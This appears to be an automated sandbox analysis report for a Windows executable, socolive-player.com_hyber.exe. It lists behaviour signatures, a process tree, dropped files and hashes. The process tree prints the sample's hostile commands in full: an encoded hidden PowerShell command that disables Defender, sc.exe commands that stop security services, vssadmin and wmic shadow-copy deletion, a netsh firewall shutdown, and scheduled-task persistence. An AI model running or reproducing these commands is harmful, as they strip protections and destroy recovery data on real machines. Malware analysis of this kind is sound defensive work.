Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    25/08/2026, 09:52

General

  • Target
    socolive-player.com_hyber.exe
  • Size 49KB
  • Sample260825-lwanqagp3x
  • SHA256 07fe6b83b4cee0849fcb67f6533ce853c6392a4afea073407c34c26f0d463684
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 4 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\socolive-player.com_hyber.exe
    "C:\Users\Admin\AppData\Local\Temp\socolive-player.com_hyber.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2956
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2440
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:4176
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:3204
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:3376
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:4856
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:4824
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:3672
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:1684
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:4228
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3396
      • C:\Users\Admin\AppData\Local\Temp\socolive-player.com_hyber.exe
        "C:\Users\Admin\AppData\Local\Temp\socolive-player.com_hyber.exe"
        3⤵
          PID:5224
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:4056
      • C:\Windows\SYSTEM32\schtasks.exe
        "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\socolive-player.com_hyber.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2504
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5684
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          3⤵
          • Interacts with shadow copies
          PID:5700
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:3664
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4460
        • C:\Windows\system32\systeminfo.exe
          systeminfo
          3⤵
          • Gathers system information
          PID:4592
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5792
        • C:\Windows\system32\tasklist.exe
          tasklist
          3⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:4944
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4960
        • C:\Windows\system32\whoami.exe
          whoami
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:3672
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4752
        • C:\Windows\system32\net.exe
          net user
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:5068
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 user
            4⤵
              PID:6104
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1876
          • C:\Windows\system32\ipconfig.exe
            ipconfig /all
            3⤵
            • Gathers network information
            PID:1472
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2200
          • C:\Windows\system32\NETSTAT.EXE
            netstat -an
            3⤵
            • Gathers network information
            • Suspicious use of AdjustPrivilegeToken
            PID:5900
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\socolive-player.com_hyber.exe" /sc daily /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2964
        • C:\Windows\System32\wscript.exe
          "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
          2⤵
          • Executes a VBScript file via the Windows Script Host.
          PID:3792
        • C:\Windows\System32\notepad.exe
          "C:\Windows\System32\notepad.exe"
          2⤵
            PID:960
          • C:\Windows\System32\vssadmin.exe
            "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
            2⤵
            • Interacts with shadow copies
            PID:4428
          • C:\Windows\System32\wbem\WMIC.exe
            "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3888
          • C:\Windows\System32\net.exe
            "C:\Windows\System32\net.exe" stop srservice
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1172
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop srservice
              3⤵
                PID:3624
            • C:\Windows\System32\netsh.exe
              "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
              2⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              PID:5836
            • C:\Windows\System32\sc.exe
              "C:\Windows\System32\sc.exe" config i8042prt start= disabled
              2⤵
              • Launches sc.exe
              PID:4728
            • C:\Windows\System32\sc.exe
              "C:\Windows\System32\sc.exe" stop i8042prt
              2⤵
              • Launches sc.exe
              PID:2144
          • C:\Windows\system32\LogonUI.exe
            "LogonUI.exe" /flags:0x0 /state0:0xa3a21055 /state1:0x41c64e6d
            1⤵
            • Drops file in System32 directory
            • Drops file in Windows directory
            • Checks processor information in registry
            • Modifies data under HKEY_USERS
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:4564
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k CameraMonitor
            1⤵
              PID:5196
            • C:\Users\Admin\AppData\Local\Temp\socolive-player.com_hyber.exe
              C:\Users\Admin\AppData\Local\Temp\socolive-player.com_hyber.exe
              1⤵
                PID:5704
              • C:\Windows\system32\vssvc.exe
                C:\Windows\system32\vssvc.exe
                1⤵
                  PID:1448

                Network

                      MITRE ATT&CK Enterprise v16

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                      Downloads

                      invoice_1.pdf

                      • Path C:\ProgramData\invoice_1.pdf
                      • Size 66KB
                      • SHA256 f814d35c22b559913d7f41fde0f1105d280866c3816c0e727f6206ed609e52b0
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      doc_3.pdf

                      • Path C:\SystemVolumeInformation\doc_3.pdf
                      • Size 66KB
                      • SHA256 ce3409cc8cc4bf3c3de7af6a24fb94eae227b2cd2b38c5e1fa283ed6be55558e
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      createshortcut.vbs

                      • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                      • Size 250B
                      • SHA256 63414a23e771cfe0f3b7af5446ceb52da41cec3c81092c3caef8b10f6e257b26
                      • MD5 SHA1 SHA512 TLSH

                      del.bat

                      • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                      • Size 59B
                      • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                      • MD5 SHA1 SHA512 TLSH

                      makelnk.vbs

                      • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                      • Size 251B
                      • SHA256 448e3173ee9cf6ee20b869020443426abd706fce940ba8561b0d3c959b014bd5
                      • MD5 SHA1 SHA512 TLSH

                      memory/960-2245-0x0000025491350000-0x0000025491351000-memory.dmp

                      memory/2440-900-0x0000021EFD5D0000-0x0000021EFD682000-memory.dmp

                      memory/2440-21-0x0000021EE50B0000-0x0000021EE50D2000-memory.dmp

                      memory/2440-1475-0x0000021EFD690000-0x0000021EFD69A000-memory.dmp

                      memory/2440-885-0x0000021EFD5B0000-0x0000021EFD5CE000-memory.dmp

                      memory/2956-16-0x00007FFEC85C0000-0x00007FFEC8F64000-memory.dmp

                      memory/2956-4-0x00007FFEC85C0000-0x00007FFEC8F64000-memory.dmp

                      memory/2956-14-0x00007FFEC85C0000-0x00007FFEC8F64000-memory.dmp

                      memory/2956-8-0x00007FFEC85C0000-0x00007FFEC8F64000-memory.dmp

                      memory/2956-9-0x000000001DB10000-0x000000001DCD2000-memory.dmp

                      memory/2956-12-0x00007FFEC85C0000-0x00007FFEC8F64000-memory.dmp

                      memory/2956-0-0x00007FFEC874F000-0x00007FFEC8750000-memory.dmp

                      memory/2956-10-0x000000001E210000-0x000000001E738000-memory.dmp

                      memory/2956-15-0x00007FFEC85C0000-0x00007FFEC8F64000-memory.dmp

                      memory/2956-11-0x00007FFEC85C0000-0x00007FFEC8F64000-memory.dmp

                      memory/2956-7-0x00007FFEC85C0000-0x00007FFEC8F64000-memory.dmp

                      memory/2956-13-0x00007FFEC85C0000-0x00007FFEC8F64000-memory.dmp

                      memory/2956-3-0x00007FFEC85C0000-0x00007FFEC8F64000-memory.dmp

                      memory/2956-2244-0x00007FFEC85C0000-0x00007FFEC8F64000-memory.dmp

                      memory/2956-2-0x00007FFEC85C0000-0x00007FFEC8F64000-memory.dmp

                      memory/2956-1-0x0000000000400000-0x0000000000412000-memory.dmp

                      memory/2956-2251-0x00007FFEC85C0000-0x00007FFEC8F64000-memory.dmp

                      memory/2956-2253-0x00007FFEC85C0000-0x00007FFEC8F64000-memory.dmp

                      memory/2956-2254-0x00007FFEC85C0000-0x00007FFEC8F64000-memory.dmp

                      memory/2956-2255-0x00007FFEC85C0000-0x00007FFEC8F64000-memory.dmp

                      memory/2956-2257-0x00007FFEC85C0000-0x00007FFEC8F64000-memory.dmp

                      memory/2956-2259-0x00007FFEC85C0000-0x00007FFEC8F64000-memory.dmp